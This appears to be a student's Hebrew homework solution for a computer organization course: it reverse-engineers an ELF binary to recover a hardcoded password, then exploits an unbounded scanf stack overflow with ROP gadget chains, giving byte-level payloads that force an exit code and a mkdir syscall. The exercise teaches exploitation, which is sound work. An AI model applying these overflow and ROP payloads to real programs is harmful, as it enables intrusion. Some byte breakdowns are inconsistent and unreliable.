

ארגון ותכנות המחשב – תרגיל בית 3

שאלה 1

1. מוגדרים ב-prog תשעה program headers.
2. ישנם שני headers מסוג LOAD, במקומות 02 ו-03 ב-program headers.
:02
Offset: 0
Memory location: 0x400000
File size: 0x1864
Memory size: 0x1864
Flags: Read, Execute
:03
Offset: 0x1e10
Memory location: 0x601e10
File size: 0x22c
Memory size: 0x230
Flags: Read, Write
3. בתחילת ריצת התוכנית תוכן הזיכרון ב-0x401234 הוא חלק מ-section 02. משום שה offset שלו הוא 0, מדובר בבית שבמקום ה-1234 מתחילת התוכנית. מ-hexdump נסיק שזהו "c7"
4. מאותם השיקולים כמו בסעיף 3, נקבל כי
Char foo[26] =
{0x63,0x66,0x6d,0x61,0x79,0x67,0x74,0x75,0x72,0x73,0x78,0x6c,0x70,0x6f,0x64,0x71,
0x65,0x7a,0x6e,0x77,0x69,0x6b,0x68,0x6a,0x62,0x76}
5. מאותם השיקולים כמו בסעיף 3, נקבל כי
Char bar[11]={0x0f,0x07,0x14,0x12,0x06,0x14,0x0b,0x0b,0x14,0x0d,0x12}
6. נתבונן ב-symtable ונראה כי check_password מופיע במקום 0x4005f0 בזיכרון. מאותם השיקולים כמו בסעיף 3, נתבונן ב-disassembly של הקובץ החל משורה 0x5f0, ונשלים את הפונקציה בהתאם:
int check_password(char* s){
 int i;
 for (i=0;i<11;i++){
 if (s[i] != foo[bar[i]]) {
 return 0;
 }
 }
 return s[11]==0;
}
7. מעקב אחרי האינדקסים המתאימים לפונקציה בזיכרון יחשוף את הסיסמה הנכספת: quintillion

שאלה 2

1. קריאה ל-`scanf` ללא הגבלה על מס' התווים אותו נוכל להכניס, מאפשרת לנו להכניס לזיכרון מידע שרירותי שיאפשר למשתמש לשנות את התנהגות התוכנית, בטעות או בזדון.
2. אחרי הכנסת הקלט הלא תקין, פקודת `ret` תקפוץ לכתובת `0x3435363738396162`. זאת משום ש-`main` מעבירה ל-`scanf` בתור באפר את הכתובת הנוכחית של `rsp`, שבו מוקצים `0x18` בתים (כלומר 24) של משתנים לוקאליים. אורך הסיסמה שהכנסנו היא 36 תווים (=בתים), ולכן בתים 25-32 ידרסו את כתובת החזרה מהפונקציה, כלומר יכתבו הבתים `ba987654`, שכאשר קוראים אותם ב-`little endian` מקבלים את הכתובת הנ"ל. (מלבד זאת נדרוש עוד 4 בתים במעלה המחסנית).
- 3.

פקודות	קידוד	מיקום
pop %rdi ret	5f c3	0x401663
pop %rax ret	58 c3	0x4015fe
syscall	0f 05	0x400e9d
push %rsp and \$8, %al call* %rdi	54 24 08 ff d7	0x4008ed
pop %rsi pop %rdi pop %rbp ret	5e 5f 5d c3	0x4007a6
dec %rdi ret	48 ff cf c3	0x400833
pop %rsi pop %r15 ret	5e 41 57 c3	0x401661

4. נשתמש בקלט הבא על מנת לגרום לתוכנית לצאת עם ערך 17. בעזרת החולשה בscan נכתוב למחסנית ערכים כך שהיא תבצע:

```
rax=60
rdi=17
Syscall
```

כך נבצע יציאה מהתוכנית עם ערך חזרה כנדרש

```
zyxwvutsrqponmlkjihgfedc\xfe\x15\x40\x00\x00\x00\x00\x00\x3c\x00\x00\x00\x00\x00\x00\x63\x16\x40\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\x9d\x0e\x40\x00\x00\x00\x00\x00
```

הקלט מפוצל פר בית:

zyxwvutsrqponmlkjihgfedc

```
\xfel\x15\x40\x00\x00\x00\x00 go to pop %rax ret
\x3c\x00\x00\x00\x00\x00\x00 popped into %rax
\x63\x16\x40\x00\x00\x00\x00 go to pop %rdi ret
\x11\x00\x00\x00\x00\x00\x00 popped into %rdi
\x9d\x0e\x40\x00\x00\x00\x00 go to syscall
```

5. נשתמש בקלט הבא כדי ליצור תיקייה בעצת השם "my_first_exploit". בעזרת החולשה בscan נכתוב נכתוב למחסנית את המידע הבא כדי לבצע את הפעולות הבאות:

- a. נכניס למחסנית את שם התיקיה הרצויה בתחילתה
- b. נשים ב-rdi את הכתובת שבה נוציא מן המחסנית rsp נוכחי
- c. נדחוף rsp נוכחי ונשים אותו ב-rdi
- d. נשים 83 ב-rax
- e. נשים 755 באוקטלית ב-rsi
- f. משום שהשגנו את rdi אחריי כמות מסויימת של popים ששינו את ה-rsp, נצטרך לתקן אותו בהתאם (להוריד ממנו 48), לכן נקפוף לכתובת שעושה כך 48 פעמים
- g. נקפוף ל-syscall, כך שכל הפרמטרים שלנו הם הפרמטרים הרצויים

[illegible]

הקלט מפוצל פר בית:

```
my_first_exploit\x00ihgfedc
\x63\x16\x40\x00\x00\x00\x00 go to pop %rdi ret
\xa6\x07\x40\x00\x00\x00\x00 gets popped into rdi
\xed\x08\x40\x00\x00\x00\x00 go to push rsp and $8, %al call* %rdi
```

rsp and return address from call are pushed onto the stack, return address is popped into rsi, rsp is popped into rdi and then we return to the values we entered*

\x00\x00\x00\x00\x00\x00\x00 popped by pop rbp

\x61\x16\x40\x00\x00\x00\x00 go to pop %rsi pop %r15 ret

\xed\x01\x00\x00\x00\x00\x00 popped into %rsi

\x00\x00\x00\x00\x00\x00\x00 popped into %r15

\xfe\x15\x40\x00\x00\x00\x00 go to pop %rax ret

\x53\x00\x00\x00\x00\x00\x00 popped into %rax

\x33\x08\x40\x00\x00\x00\x00 dec %rdi ret (48 times)

\x9d\x0e\x40\x00\x00\x00\x00 go to syscall